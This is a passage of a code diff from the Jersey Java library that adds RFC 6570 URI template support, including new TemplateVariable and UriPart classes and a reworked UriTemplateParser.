stringValues.put(e.getKey(), e.getValue().toString()); - } - } - - return createURIWithStringValues(scheme, authority, + return createURI(scheme, authority, userInfo, host, port, path, query, fragment, - stringValues, encode, encodeSlashInPath); + new Object[] {}, encode, encodeSlashInPath, values); } /** @@ -800,7 +747,7 @@ public static String createURIWithStringValues( final String path, final String query, final String fragment, final Map values, final boolean encode, final boolean encodeSlashInPath) { - return createURIWithStringValues( + return createURI( scheme, authority, userInfo, host, port, path, query, fragment, EMPTY_VALUES, encode, encodeSlashInPath, values); } @@ -837,17 +784,10 @@ public static String createURI( final String path, final String query, final String fragment, final Object[] values, final boolean encode, final boolean encodeSlashInPath) { - String[] stringValues = new String[values.length]; - for (int i = 0; i < values.length; i++) { - if (values[i] != null) { - stringValues[i] = values[i].toString(); - } - } - - return createURIWithStringValues( + return createURI( scheme, authority, userInfo, host, port, path, query, fragment, - stringValues, encode, encodeSlashInPath); + values, encode, encodeSlashInPath, new HashMap()); } /** @@ -879,13 +819,13 @@ public static String createURIWithStringValues( final String[] values, final boolean encode, final boolean encodeSlashInPath) { final Map mapValues = new HashMap(); - return createURIWithStringValues( + return createURI( scheme, authority, userInfo, host, port, path, query, fragment, values, encode, encodeSlashInPath, mapValues); } - private static String createURIWithStringValues( + private static String createURI( final String scheme, final String authority, final String userInfo, final String host, final String port, - final String path, final String query, final String fragment, final String[] values, final boolean encode, + final String path, final String query, final String fragment, final Object[] values, final boolean encode, final boolean encodeSlashInPath, final Map mapValues) { final StringBuilder sb = new StringBuilder(); @@ -942,9 +882,15 @@ private static String createURIWithStringValues( } if (notEmpty(query)) { - sb.append('?'); + int sbLength = sb.length(); offset = createUriComponent(UriComponent.Type.QUERY_PARAM, query, values, offset, encode, mapValues, sb); + if (sb.length() > sbLength) { + char firstQuery = sb.charAt(sbLength); + if (firstQuery != '?' && (query.trim().charAt(0) != '{' || firstQuery != '&')) { + sb.insert(sbLength, '?'); + } + } } if (notEmpty(fragment)) { @@ -963,7 +909,7 @@ private static boolean notEmpty(String string) { @SuppressWarnings("unchecked") private static int createUriComponent(final UriComponent.Type componentType, String template, - final String[] values, + final Object[] values, final int valueOffset, final boolean encode, final Map _mapValues, @@ -977,33 +923,28 @@ private static int createUriComponent(final UriComponent.Type componentType, } // Find all template variables - template = new UriTemplateParser(template).getNormalizedTemplate(); - + UriTemplateParser templateParser = new UriTemplateParser(template); class ValuesFromArrayStrategy implements TemplateValueStrategy { private int offset = valueOffset; @Override - public String valueFor(String templateVariable, String matchedGroup) { + public String valueFor(UriPart templateVariable, String matchedGroup) { - Object value = mapValues.get(templateVariable); + Object value = mapValues.get(templateVariable.getPart()); if (value == null && offset < values.length) { value = values[offset++]; - mapValues.put(templateVariable, value); + mapValues.put(templateVariable.getPart(), value); } - if (value == null) { + if (value == null && templateVariable.throwWhenNoTemplateArg()) { throw new IllegalArgumentException( - String.format("The template variable '%s' has no value", templateVariable)); - } - if (encode) { - return UriComponent.encode(value.toString(), componentType); - } else { - return UriComponent.contextualEncode(value.toString(), componentType); + String.format("The template variable '%s' has no value", templateVariable.getPart())); } + return templateVariable.resolve(value, componentType, encode); } } ValuesFromArrayStrategy cs = new ValuesFromArrayStrategy(); - resolveTemplate(template, b, cs); + new UriTemplate(templateParser).resolveTemplate(b, cs); return cs.offset; } @@ -1033,25 +974,18 @@ public static String resolveTemplateValues(final UriComponent.Type type, final Map mapValues = (Map) _mapValues; - // Find all template variables - template = new UriTemplateParser(template).getNormalizedTemplate(); - StringBuilder sb = new StringBuilder(); - resolveTemplate(template, sb, new TemplateValueStrategy() { + // Find all template variables + new UriTemplate(new UriTemplateParser(template)).resolveTemplate(sb, new TemplateValueStrategy() { @Override - public String valueFor(String templateVariable, String matchedGroup) { + public String valueFor(UriPart templateVariable, String matchedGroup) { - Object value = mapValues.get(templateVariable); + Object value = mapValues.get(templateVariable.getPart()); if (value != null) { - if (encode) { - value = UriComponent.encode(value.toString(), type); - } else { - value = UriComponent.contextualEncode(value.toString(), type); - } - return value.toString(); + return templateVariable.resolve(value.toString(), type, encode); } else { - if (mapValues.containsKey(templateVariable)) { + if (mapValues.containsKey(templateVariable.getPart())) { throw new IllegalArgumentException( String.format("The value associated of the template value map for key '%s' is 'null'.", templateVariable) diff --git a/core-common/src/main/java/org/glassfish/jersey/uri/internal/TemplateVariable.java b/core-common/src/main/java/org/glassfish/jersey/uri/internal/TemplateVariable.java new file mode 100644 index 0000000000..c5032506f5 --- /dev/null +++ b/core-common/src/main/java/org/glassfish/jersey/uri/internal/TemplateVariable.java @@ -0,0 +1,400 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.uri.internal; + +import org.glassfish.jersey.uri.UriComponent; + +import java.util.Collection; +import java.util.Map; + +/** + * The Reserved Expansion template variable representation as per RFC6570. + */ +/* package */ class TemplateVariable extends UriPart { + + protected final Position position; + protected int len = -1; // unlimited + protected boolean star = false; + + TemplateVariable(String part, Position position) { + super(part); + this.position = position; + } + + /** + * Choose the template variable type. The + * @param type Type of the template + * @param part the template content + * @param position the position of the variable in the template. + * @return Subclass of Templatevariable to represent the variable and allowing expansion based on the type of the variable + */ + static TemplateVariable createTemplateVariable(char type, String part, Position position) { + TemplateVariable newType; + switch (type) { + case '+': + newType = new TemplateVariable(part, position); + break; + case '-': // Not supported by RFC + newType = new MinusTemplateVariable(part, position); + break; + case '#': + newType = new HashTemplateVariable(part, position); + break; + case '.': + newType = new DotTemplateVariable(part, position); + break; + case '/': + newType = new SlashTemplateVariable(part, position); + break; + case ';': + newType = new MatrixTemplateVariable(part, position); + break; + case '?': + newType = new QueryTemplateVariable(part, position); + break; + case '&': + newType = new QueryContinuationTemplateVariable(part, position); + break; + default: + //'p' + newType = new PathTemplateVariable(part, position); + break; + } + return newType; + } + + @Override + public boolean isTemplate() { + return true; + } + + @Override + public String getGroup() { + StringBuilder sb = new StringBuilder(); + if (position.isFirst()) { + sb.append('{'); + } else { + sb.append(','); + } + sb.append(getPart()); + if (position.isLast()) { + sb.append('}'); + } + return sb.toString(); + } + + @Override + public String resolve(Object value, UriComponent.Type type, boolean encode) { + if (value == null) { + return ""; + } + return position.isFirst() + ? plainResolve(value, type, encode) + : separator() + plainResolve(value, type, encode); + } + + protected char separator() { + return ','; + } + + protected char keyValueSeparator() { + return star ? '=' : ','; + } + + protected String plainResolve(Object value, UriComponent.Type componentType, boolean encode) { + if (Collection.class.isInstance(value)) { + return ((Collection) value).stream() + .map(a -> plainResolve(a, componentType, encode)) + .reduce("", (a, b) -> a + (a.isEmpty() ? b : separator() + b)); + } else if (Map.class.isInstance(value)) { + return ((Map) value).entrySet().stream() + .map(e -> plainResolve(e.getKey(), componentType, encode) + + keyValueSeparator() + + plainResolve(e.getValue(), componentType, encode)) + .reduce("", (a, b) -> a + (a.isEmpty() ? b : separator() + b)); + } else { + return plainResolve(value.toString(), componentType, encode); + } + } + + protected String plainResolve(String value, UriComponent.Type componentType, boolean encode) { + String val = len == -1 ? value : value.substring(0, Math.min(value.length(), len)); + return encode(val, componentType, encode); + } + + protected String encode(String toEncode, UriComponent.Type componentType, boolean encode) { + if (componentType == null) { + componentType = getDefaultType(); + } + return UriPart.percentEncode(toEncode, componentType, encode); + } + + protected UriComponent.Type getDefaultType() { + return UriComponent.Type.PATH; + } + + void setLength(int len) { + this.len = len; + } + + void setStar(boolean b) { + star = b; + } + + /** + * The default UriBuilder template + */ + private static class PathTemplateVariable extends TemplateVariable { + protected PathTemplateVariable(String part, Position position) { + super(part, position); + } + + @Override + public boolean throwWhenNoTemplateArg() { + return true; // The default UriBuilder behaviour + } + + @Override + protected UriComponent.Type getDefaultType() { + return UriComponent.Type.PATH; + } + } + + /** + * The template that works according to RFC 6570, Section 3.2.2. + * The default Path works as described in Section 3.2.3, as described by RFC 3986. + */ + private static class MinusTemplateVariable extends TemplateVariable { + protected MinusTemplateVariable(String part, Position position) { + super(part, position); + } + + @Override + protected String encode(String toEncode, UriComponent.Type componentType, boolean encode) { + return super.encode(toEncode, UriComponent.Type.QUERY, encode); //Query has the same encoding as Section 3.2.3 + } + + @Override + protected UriComponent.Type getDefaultType() { + return UriComponent.Type.QUERY; + } + } + + + /** + * Section 3.2.5 + */ + private static class DotTemplateVariable extends MinusTemplateVariable { + protected DotTemplateVariable(String part, Position position) { + super(part, position); + } + + @Override + public String resolve(Object value, UriComponent.Type type, boolean encode) { + if (value == null) { + return ""; + } + return '.' + plainResolve(value, type, encode); + } + + @Override + protected char separator() { + return star ? '.' : super.separator(); + } + } + + /** + * Section 3.2.6 + */ + private static class SlashTemplateVariable extends MinusTemplateVariable { + protected SlashTemplateVariable(String part, Position position) { + super(part, position); + } + + @Override + public String resolve(Object value, UriComponent.Type type, boolean encode) { + if (value == null) { + return ""; + } + return '/' + plainResolve(value, type, encode); + } + + @Override + protected char separator() { + return star ? '/' : super.separator(); + } + } + + /** + * Section 3.2.4 + */ + private static class HashTemplateVariable extends TemplateVariable { + protected HashTemplateVariable(String part, Position position) { + super(part, position); + } + + @Override + public String resolve(Object value, UriComponent.Type type, boolean encode) { + return (value == null || !position.isFirst() ? "" : "#") + super.resolve(value, type, encode); + } + + @Override + protected UriComponent.Type getDefaultType() { + return UriComponent.Type.PATH; + } + } + + + private abstract static class ExtendedVariable extends TemplateVariable { + + private final Character firstSymbol; + private final char separator; + protected final boolean appendEmpty; + + protected ExtendedVariable(String part, Position position, Character firstSymbol, char separator, boolean appendEmpty) { + super(part, position); + this.firstSymbol = firstSymbol; + this.separator = separator; + this.appendEmpty = appendEmpty; + } + + @Override + public String resolve(Object value, UriComponent.Type componentType, boolean encode) { + if (value == null) { // RFC 6570 + return ""; + } + String sValue = super.plainResolve(value, componentType, encode); + StringBuilder sb = new StringBuilder(); + + if (position.isFirst()) { + sb.append(firstSymbol); + } else { + sb.append(separator); + } + + if (!star) { + sb.append(getPart()); + if (appendEmpty || !sValue.isEmpty()) { + sb.append('=').append(sValue); + } + } else if (!Map.class.isInstance(value)) { + String[] split = sValue.split(String.valueOf(separator())); + for (int i = 0; i != split.length; i++) { + sb.append(getPart()); + sb.append('=').append(split[i]); + if (i != split.length - 1) { + sb.append(separator); + } + } + } else if (Map.class.isInstance(value)) { + sb.append(sValue); + } + return sb.toString(); + } + + @Override + protected char separator() { + return star ? separator : super.separator(); + } + } + + /** + * Section 3.2.7 + */ + private static class MatrixTemplateVariable extends ExtendedVariable { + protected MatrixTemplateVariable(String part, Position position) { + super(part, position, ';', ';', false); + } + + @Override + protected UriComponent.Type getDefaultType() { + return UriComponent.Type.QUERY; // For matrix, use query encoding per 6570 + } + + @Override + public String resolve(Object value, UriComponent.Type componentType, boolean encode) { + return super.resolve(value, getDefaultType(), encode); + } + } + + /** + * Section 3.2.8 + */ + private static class QueryTemplateVariable extends ExtendedVariable { + protected QueryTemplateVariable(String part, Position position) { + super(part, position, '?', '&', true); + } + } + + /** + * Section 3.2.9 + */ + private static class QueryContinuationTemplateVariable extends ExtendedVariable { + protected QueryContinuationTemplateVariable(String part, Position position) { + super(part, position, '&', '&', true); + } + + @Override + protected UriComponent.Type getDefaultType() { + return UriComponent.Type.QUERY; + } + + @Override + public String resolve(Object value, UriComponent.Type componentType, boolean encode) { + return super.resolve(value, getDefaultType(), encode); + } + } + + /** + *

+ * Position of the template variable. For instance, template {@code {first, middle, last}} would have three arguments, on + * {@link Position#FIRST}, {@link Position#MIDDLE}, and {@link Position#LAST} positions. + * If only a single argument is in template (most common) e.g. {@code {single}}, the position is {@link Position#SINGLE}. + *

+ *

+ * {@link Position#SINGLE} is first (see {@link Position#isFirst()}) and last (see {@link Position#isLast()}) at the same time. + *

+ */ + + /* package */ static enum Position { + FIRST((byte) 0b1100), + MIDDLE((byte) 0b1010), + LAST((byte) 0b1001), + SINGLE((byte) 0b1111); + + final byte val; + + Position(byte val) { + this.val = val; + } + + /** + * Informs whether the position of the argument is the last in the argument group. + * @return true when the argument is the last. + */ + boolean isLast() { + return (val & LAST.val) == LAST.val; + } + + /** + * Informs whether the position of the argument is the first in the argument group. + * @return true when the argument is the first. + */ + boolean isFirst() { + return (val & FIRST.val) == FIRST.val; + } + } +} diff --git a/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriPart.java b/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriPart.java new file mode 100644 index 0000000000..e808a61622 --- /dev/null +++ b/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriPart.java @@ -0,0 +1,97 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.uri.internal; + +import org.glassfish.jersey.uri.UriComponent; + +/** + *

+ * This class represents a part of the uri as parsed by the UriTemplateParser. + *

+ *

+ * The UriTemplate parser can produce multiple UriParts, each representing a part of the Uri. One part can represent either + * a static uri part without a template or a template with a single variable. The template with multiple variables generates + * multiple UriParts, each for a single variable. + *

+ */ +public class UriPart { + private final String part; + + UriPart(String part) { + this.part = part; + } + + /** + * Return the string value representing this UriPart. It can either be static content or a template. + * @return string value representing this UriPart + */ + public String getPart() { + return part; + } + + /** + * Return the matching group of the template represented by this {@link UriPart} + * @return the matching group + */ + public String getGroup() { + return part; + } + + /** + * Returns true when this {@link UriPart} is a template with a variable + * @return true when a template + */ + public boolean isTemplate() { + return false; + } + + /** + * Returns the resolved template variable when the value object is passed + * @param value the value object to be used to resolve the template variable + * @param componentType the component type that can be used to determine the encoding os special characters + * @param encode the hint whether to encode or not + * @return the resolved template + */ + public String resolve(Object value, UriComponent.Type componentType, boolean encode) { + return part; + } + + /** + * Informs whether throw {@link IllegalArgumentException} when no object value matches the template argument + * @return {@code true} when when no object value matches the template argument and + * {@link IllegalArgumentException} is to be thrown + */ + public boolean throwWhenNoTemplateArg() { + return false; + } + + /** + * Percent encode the given text + * @param toEncode the given text to encode + * @param componentType the component type to encode + * @param encode toEncode or contextualEncode + * @return the encoded text + */ + public static String percentEncode(String toEncode, UriComponent.Type componentType, boolean encode) { + if (encode) { + toEncode = UriComponent.encode(toEncode, componentType); + } else { + toEncode = UriComponent.contextualEncode(toEncode, componentType); + } + return toEncode; + } +} diff --git a/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriTemplateParser.java b/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriTemplateParser.java index 8ddcb49e39..b438023bf2 100644 --- a/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriTemplateParser.java +++ b/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriTemplateParser.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -61,13 +61,16 @@ private static Set initReserved() { * Default URI template value regexp pattern. */ public static final Pattern TEMPLATE_VALUE_PATTERN = Pattern.compile("[^/]+"); + public static final Pattern TEMPLATE_VALUE_PATTERN_MULTI = Pattern.compile("[^,/]+"); + public static final Pattern MATCH_NUMBER_OF_MAX_LENGTH_4 = Pattern.compile("[1-9][0-9]{0,3}"); private final String template; private final StringBuffer regex = new StringBuffer(); private final StringBuffer normalizedTemplate = new StringBuffer(); private final StringBuffer literalCharactersBuffer = new StringBuffer(); private final Pattern pattern; - private final List names = new ArrayList(); + private final List names = new ArrayList<>(); + private final List parts = new ArrayList<>(); private final List groupCounts = new ArrayList(); private final Map nameToPattern = new HashMap(); private int numOfExplicitRegexes; @@ -143,10 +146,21 @@ public final Map getNameToPattern() { * * @return the list of template names. */ - public final List getNames() { + public final List getNames() { return names; } + /** + * Get a collection of uri parts (static strings and dynamic arguments) as parsed by the parser. + * Can be used to compose the uri. This collection is usually a superset of {@link #getNames() names} + * and other parts that do not have a template. + * + * @return List of parts of the uri. + */ + public List getUriParts() { + return parts; + } + /** * Get the capturing group counts for each template variable. * @@ -248,6 +262,7 @@ private void processLiteralCharacters() { String s = encodeLiteralCharacters(literalCharactersBuffer.toString()); normalizedTemplate.append(s); + parts.add(new UriPart(s)); // Escape if reserved regex character for (int i = 0; i < s.length(); i++) { @@ -289,90 +304,71 @@ private static String[] initHexToUpperCaseRegex() { } private int parseName(final CharacterIterator ci, int skipGroup) { - char c = consumeWhiteSpace(ci); - - char paramType = 'p'; // Normal path param unless otherwise stated - StringBuilder nameBuffer = new StringBuilder(); - - // Look for query or matrix types - if (c == '?' || c == ';') { - paramType = c; - c = ci.next(); - } - - if (Character.isLetterOrDigit(c) || c == '_') { - // Template name character - nameBuffer.append(c); - } else { - throw new IllegalArgumentException(LocalizationMessages.ERROR_TEMPLATE_PARSER_ILLEGAL_CHAR_START_NAME(c, ci.pos(), - template)); - } + Variables variables = new Variables(); + variables.parse(ci, template); - String nameRegexString = ""; - while (true) { - c = ci.next(); - // "\\{(\\w[-\\w\\.]*) - if (Character.isLetterOrDigit(c) || c == '_' || c == '-' || c == '.') { - // Template name character - nameBuffer.append(c); - } else if (c == ',' && paramType != 'p') { - // separator allowed for non-path parameter names - nameBuffer.append(c); - } else if (c == ':' && paramType == 'p') { - nameRegexString = parseRegex(ci); - break; - } else if (c == '}') { - break; - } else if (c == ' ') { - c = consumeWhiteSpace(ci); - - if (c == ':') { - nameRegexString = parseRegex(ci); - break; - } else if (c == '}') { - break; - } else { - // Error - throw new IllegalArgumentException( - LocalizationMessages.ERROR_TEMPLATE_PARSER_ILLEGAL_CHAR_AFTER_NAME(c, ci.pos(), template)); - } - } else { - throw new IllegalArgumentException( - LocalizationMessages.ERROR_TEMPLATE_PARSER_ILLEGAL_CHAR_PART_OF_NAME(c, ci.pos(), template)); - } - } - - String name = nameBuffer.toString(); Pattern namePattern; + // Make sure we display something useful + String name = variables.getName(); + int argIndex = 0; try { - if (paramType == '?' || paramType == ';') { - String[] subNames = name.split(",\\s?"); - + switch (variables.paramType) { + case '?': + case ';': + case '&': // Build up the regex for each of these properties - StringBuilder regexBuilder = new StringBuilder(paramType == '?' ? "\\?" : ";"); - String separator = paramType == '?' ? "\\&" : ";/\\?"; + StringBuilder regexBuilder = new StringBuilder(); + String separator = null; + switch (variables.paramType) { + case '?': + separator = "\\&"; + regexBuilder.append("\\?"); // first symbol + break; + case '&': + separator = "\\&"; + regexBuilder.append("\\&"); // first symbol + break; + case ';': + separator = ";/\\?"; + regexBuilder.append(";"); // first symbol + break; + } + // Start a group because each parameter could repeat // names.add("__" + (paramType == '?' ? "query" : "matrix")); - boolean first = true; + regexBuilder.append('('); + for (String subName : variables.names) { + + TemplateVariable.Position position = determinePosition(variables.separatorCount, argIndex); + TemplateVariable templateVariable = + TemplateVariable.createTemplateVariable(variables.paramType, subName, position); + templateVariable.setStar(variables.explodes(argIndex)); - regexBuilder.append("("); - for (String subName : subNames) { regexBuilder.append("(&?"); regexBuilder.append(subName); regexBuilder.append("(=([^"); regexBuilder.append(separator); - regexBuilder.append("]*))?"); - regexBuilder.append(")"); - if (!first) { - regexBuilder.append("|"); + regexBuilder.append(']'); + if (variables.hasLength(argIndex)) { + regexBuilder.append('{').append(variables.getLength(argIndex)).append('}'); + templateVariable.setLength(variables.getLength(argIndex)); + } else { + regexBuilder.append('*'); } + regexBuilder.append("))?"); + regexBuilder.append(')'); + if (argIndex != 0) { + regexBuilder.append('|'); + } + + names.add(templateVariable); + parts.add(templateVariable); - names.add(subName); groupCounts.add( - first ? 5 : 3); - first = false; + argIndex == 0 ? 5 : 3); + argIndex++; } // groupCounts.add(1); @@ -384,30 +380,96 @@ private int parseName(final CharacterIterator ci, int skipGroup) { namePattern = Pattern.compile(regexBuilder.toString()); // Make sure we display something useful - name = paramType + name; - } else { - names.add(name); - // groupCounts.add(1 + skipGroup); + break; + default: + if (variables.separatorCount == 0) { + if (variables.hasRegexp(0)) { + numOfExplicitRegexes++; + } - if (!nameRegexString.isEmpty()) { - numOfExplicitRegexes++; - } - namePattern = (nameRegexString.isEmpty()) - ? TEMPLATE_VALUE_PATTERN : Pattern.compile(nameRegexString); - if (nameToPattern.containsKey(name)) { - if (!nameToPattern.get(name).equals(namePattern)) { - throw new IllegalArgumentException( - LocalizationMessages.ERROR_TEMPLATE_PARSER_NAME_MORE_THAN_ONCE(name, template)); + TemplateVariable templateVariable = TemplateVariable + .createTemplateVariable(variables.paramType, variables.getName(0), TemplateVariable.Position.SINGLE); + templateVariable.setStar(variables.explodes(0)); + names.add(templateVariable); + parts.add(templateVariable); + // groupCounts.add(1 + skipGroup); + + if (variables.hasLength(0)) { + int len = TEMPLATE_VALUE_PATTERN.pattern().length() - 1; + String pattern = TEMPLATE_VALUE_PATTERN.pattern().substring(0, len) + '{' + variables.getLength(0) + '}'; + namePattern = Pattern.compile(pattern); + templateVariable.setLength(variables.getLength(0)); + } else { + namePattern = (!variables.hasRegexp(0)) + ? TEMPLATE_VALUE_PATTERN : Pattern.compile(variables.regexp(0)); } + if (nameToPattern.containsKey(name)) { + if (!nameToPattern.get(name).equals(namePattern)) { + throw new IllegalArgumentException( + LocalizationMessages.ERROR_TEMPLATE_PARSER_NAME_MORE_THAN_ONCE(name, template)); + } + } else { + nameToPattern.put(name, namePattern); + } + + // Determine group count of pattern + Matcher m = namePattern.matcher(""); + int g = m.groupCount(); + groupCounts.add(1 + skipGroup); + skipGroup = g; } else { - nameToPattern.put(name, namePattern); + argIndex = 0; + regexBuilder = new StringBuilder(); + + for (String subName : variables.names) { + if (argIndex != 0) { + regexBuilder + .append('(') + .append(','); + } + TemplateVariable.Position position = determinePosition(variables.separatorCount, argIndex); + TemplateVariable templateVariable + = TemplateVariable.createTemplateVariable(variables.paramType, subName, position); + templateVariable.setStar(variables.explodes(argIndex)); + names.add(templateVariable); + parts.add(templateVariable); + + if (variables.hasLength(argIndex)) { + int len = TEMPLATE_VALUE_PATTERN_MULTI.pattern().length() - 1; + String pattern = TEMPLATE_VALUE_PATTERN_MULTI.pattern() + .substring(0, len) + '{' + variables.getLength(argIndex) + '}'; + namePattern = Pattern.compile(pattern); + templateVariable.setLength(variables.getLength(argIndex)); + } else { + namePattern = (!variables.hasRegexp(argIndex)) + ? TEMPLATE_VALUE_PATTERN_MULTI : Pattern.compile(variables.regexp(argIndex)); + } +// TODO breaks RFC 6570 --backward compatibility with default pattern + if (nameToPattern.containsKey(subName) && variables.paramType == 'p') { + if (!nameToPattern.get(subName).equals(namePattern)) { + throw new IllegalArgumentException( + LocalizationMessages.ERROR_TEMPLATE_PARSER_NAME_MORE_THAN_ONCE(name, template)); + } + } else { + nameToPattern.put(subName, namePattern); + } + + regexBuilder + .append('(') + .append(namePattern) + .append(')'); + + if (argIndex != 0) { + regexBuilder.append(")"); + } + regexBuilder.append("{0,1}"); + + argIndex++; + groupCounts.add(2); + } + namePattern = Pattern.compile(regexBuilder.toString()); } - - // Determine group count of pattern - Matcher m = namePattern.matcher(""); - int g = m.groupCount(); - groupCounts.add(1 + skipGroup); - skipGroup = g; + break; } regex.append('(') @@ -418,40 +480,312 @@ private int parseName(final CharacterIterator ci, int skipGroup) { .append(name) .append('}'); } catch (PatternSyntaxException ex) { - throw new IllegalArgumentException( - LocalizationMessages.ERROR_TEMPLATE_PARSER_INVALID_SYNTAX(nameRegexString, name, template), ex); + throw new IllegalArgumentException(LocalizationMessages + .ERROR_TEMPLATE_PARSER_INVALID_SYNTAX(variables.regexp(argIndex), variables.name, template), ex); } // Tell the next time through the loop how many to skip return skipGroup; } - private String parseRegex(final CharacterIterator ci) { - StringBuilder regexBuffer = new StringBuilder(); - - int braceCount = 1; - while (true) { - char c = ci.next(); - if (c == '{') { - braceCount++; - } else if (c == '}') { - braceCount--; - if (braceCount == 0) { - break; + private static TemplateVariable.Position determinePosition(int separatorCount, int argIndex) { + TemplateVariable.Position position = separatorCount == 0 + ? TemplateVariable.Position.SINGLE + : argIndex == 0 + ? TemplateVariable.Position.FIRST + : argIndex == separatorCount ? TemplateVariable.Position.LAST : TemplateVariable.Position.MIDDLE; + return position; + } + + private static class Variables { + private char paramType = 'p'; + private List names = new ArrayList<>(); // names + private List explodes = new ArrayList<>(); // * + private List regexps = new ArrayList<>(); // : regexp + private List lengths = new ArrayList<>(); // :1-9999 + private int separatorCount = 0; + private StringBuilder name = new StringBuilder(); + + private int getCount() { + return names.size(); + } + + private boolean explodes(int index) { + return !explodes.isEmpty() && explodes.get(index); + } + + private boolean hasRegexp(int index) { + return !regexps.isEmpty() && regexps.get(index) != null; + } + + private String regexp(int index) { + return regexps.get(index); + } + + private boolean hasLength(int index) { + return !lengths.isEmpty() && lengths.get(index) != null; + } + + private Integer getLength(int index) { + return lengths.get(index); + } + + private char getParamType() { + return paramType; + } + + private int getSeparatorCount() { + return separatorCount; + } + + private String getName() { + return name.toString(); + } + + private String getName(int index) { + return names.get(index); + } + + private void parse(CharacterIterator ci, String template) { + name.append('{'); + + char c = consumeWhiteSpace(ci); + + StringBuilder nameBuilder = new StringBuilder(); + + // Look for query or matrix types + if (c == '?' || c == ';' || c == '.' || c == '+' || c == '#' || c == '/' || c == '&') { + paramType = c; + c = ci.next(); + name.append(paramType); + } + + if (Character.isLetterOrDigit(c) || c == '_') { + // Template name character + nameBuilder.append(c); + name.append(c); + } else { + throw new IllegalArgumentException(LocalizationMessages.ERROR_TEMPLATE_PARSER_ILLEGAL_CHAR_START_NAME(c, ci.pos(), + template)); + } + + StringBuilder regexBuilder = new StringBuilder(); + State state = State.TEMPLATE; + boolean star = false; + boolean whiteSpace = false; + boolean ignoredLastComma = false; + int bracketDepth = 1; // { + int regExpBracket = 0; // [ + int regExpRound = 0; // ( + boolean reqExpSlash = false; // \ + while ((state.value & (State.ERROR.value | State.EXIT.value)) == 0) { + c = ci.next(); + // "\\{(\\w[-\\w\\.]*) + if (Character.isLetterOrDigit(c)) { + // Template name character + append(c, state, nameBuilder, regexBuilder); + state = state.transition(State.TEMPLATE.value | State.REGEXP.value); + } else switch (c) { + case '_': + case '-': + case '.': + // Template name character + append(c, state, nameBuilder, regexBuilder); + state = state.transition(State.TEMPLATE.value | State.REGEXP.value); + break; + case ',': + switch (state) { + case REGEXP: + if (bracketDepth == 1 && !reqExpSlash && regExpBracket == 0 && regExpRound == 0) { + state = State.COMMA; + } else { + regexBuilder.append(c); + } + break; + case TEMPLATE: + case STAR: + state = State.COMMA; + break; + } + separatorCount++; + break; + case ':': + if (state == State.REGEXP) { + regexBuilder.append(c); + } + state = state.transition(State.TEMPLATE.value | State.REGEXP.value | State.STAR.value, State.REGEXP); + break; + case '*': + state = state.transition(State.TEMPLATE.value | State.REGEXP.value); + if (state == State.TEMPLATE) { + star = true; + state = State.STAR; + } else if (state == State.REGEXP){ + regexBuilder.append(c); + } + break; + case '}': + bracketDepth--; + if (bracketDepth == 0) { + state = State.BRACKET; + } else { + regexBuilder.append(c); + } + break; + case '{': + if (state == State.REGEXP) { + bracketDepth++; + regexBuilder.append(c); + } else { + state = State.ERROR; // Error multiple parenthesis + } + break; + default: + if (!Character.isWhitespace(c)) { + if (state != State.REGEXP) { + state = State.ERROR; // Error - unknown symbol + } else { + switch (c) { + case '(' : + regExpRound++; + break; + case ')': + regExpRound--; + break; + case '[': + regExpBracket++; + break; + case ']': + regExpBracket--; + break; + } + if (c == '\\') { + reqExpSlash = true; + } else { + reqExpSlash = false; + } + regexBuilder.append(c); + } + } + whiteSpace = true; + break; + } + + // Store parsed name, and associated star, regexp, and length + switch (state) { + case COMMA: + case BRACKET: + if (nameBuilder.length() == 0 && regexBuilder.length() == 0 && !star + && name.charAt(name.length() - 1) == ',' /* ignore last comma */) { + if (ignoredLastComma) { // Do not ignore twice + state = State.ERROR; + } else { + name.setLength(name.length() - 1); + ignoredLastComma = true; + } + break; + } + if (regexBuilder.length() != 0) { + String regex = regexBuilder.toString(); + Matcher matcher = MATCH_NUMBER_OF_MAX_LENGTH_4.matcher(regex); + if (matcher.matches()) { + lengths.add(Integer.parseInt(regex)); + regexps.add(null); + } else { + if (paramType != 'p') { + state = State.ERROR; // regular expressions allowed just on path by the REST spec + c = regex.charAt(0); // display proper error values + ci.setPosition(ci.pos() - regex.length()); + break; + } + lengths.add(null); + regexps.add(regex); + } + } else { + regexps.add(null); + lengths.add(null); + } + + names.add(nameBuilder.toString()); + explodes.add(star); + + nameBuilder.setLength(0); + regexBuilder.setLength(0); + star = false; + ignoredLastComma = false; + break; + } + + if (!whiteSpace) { + name.append(c); + } + whiteSpace = false; + + // switch state back or exit + switch (state) { + case COMMA: + state = State.TEMPLATE; + break; + case BRACKET: + state = State.EXIT; + break; } } - regexBuffer.append(c); + + if (state == State.ERROR) { + throw new IllegalArgumentException( + LocalizationMessages.ERROR_TEMPLATE_PARSER_ILLEGAL_CHAR_AFTER_NAME(c, ci.pos(), template)); + } } - return regexBuffer.toString().trim(); - } + private static void append(char c, 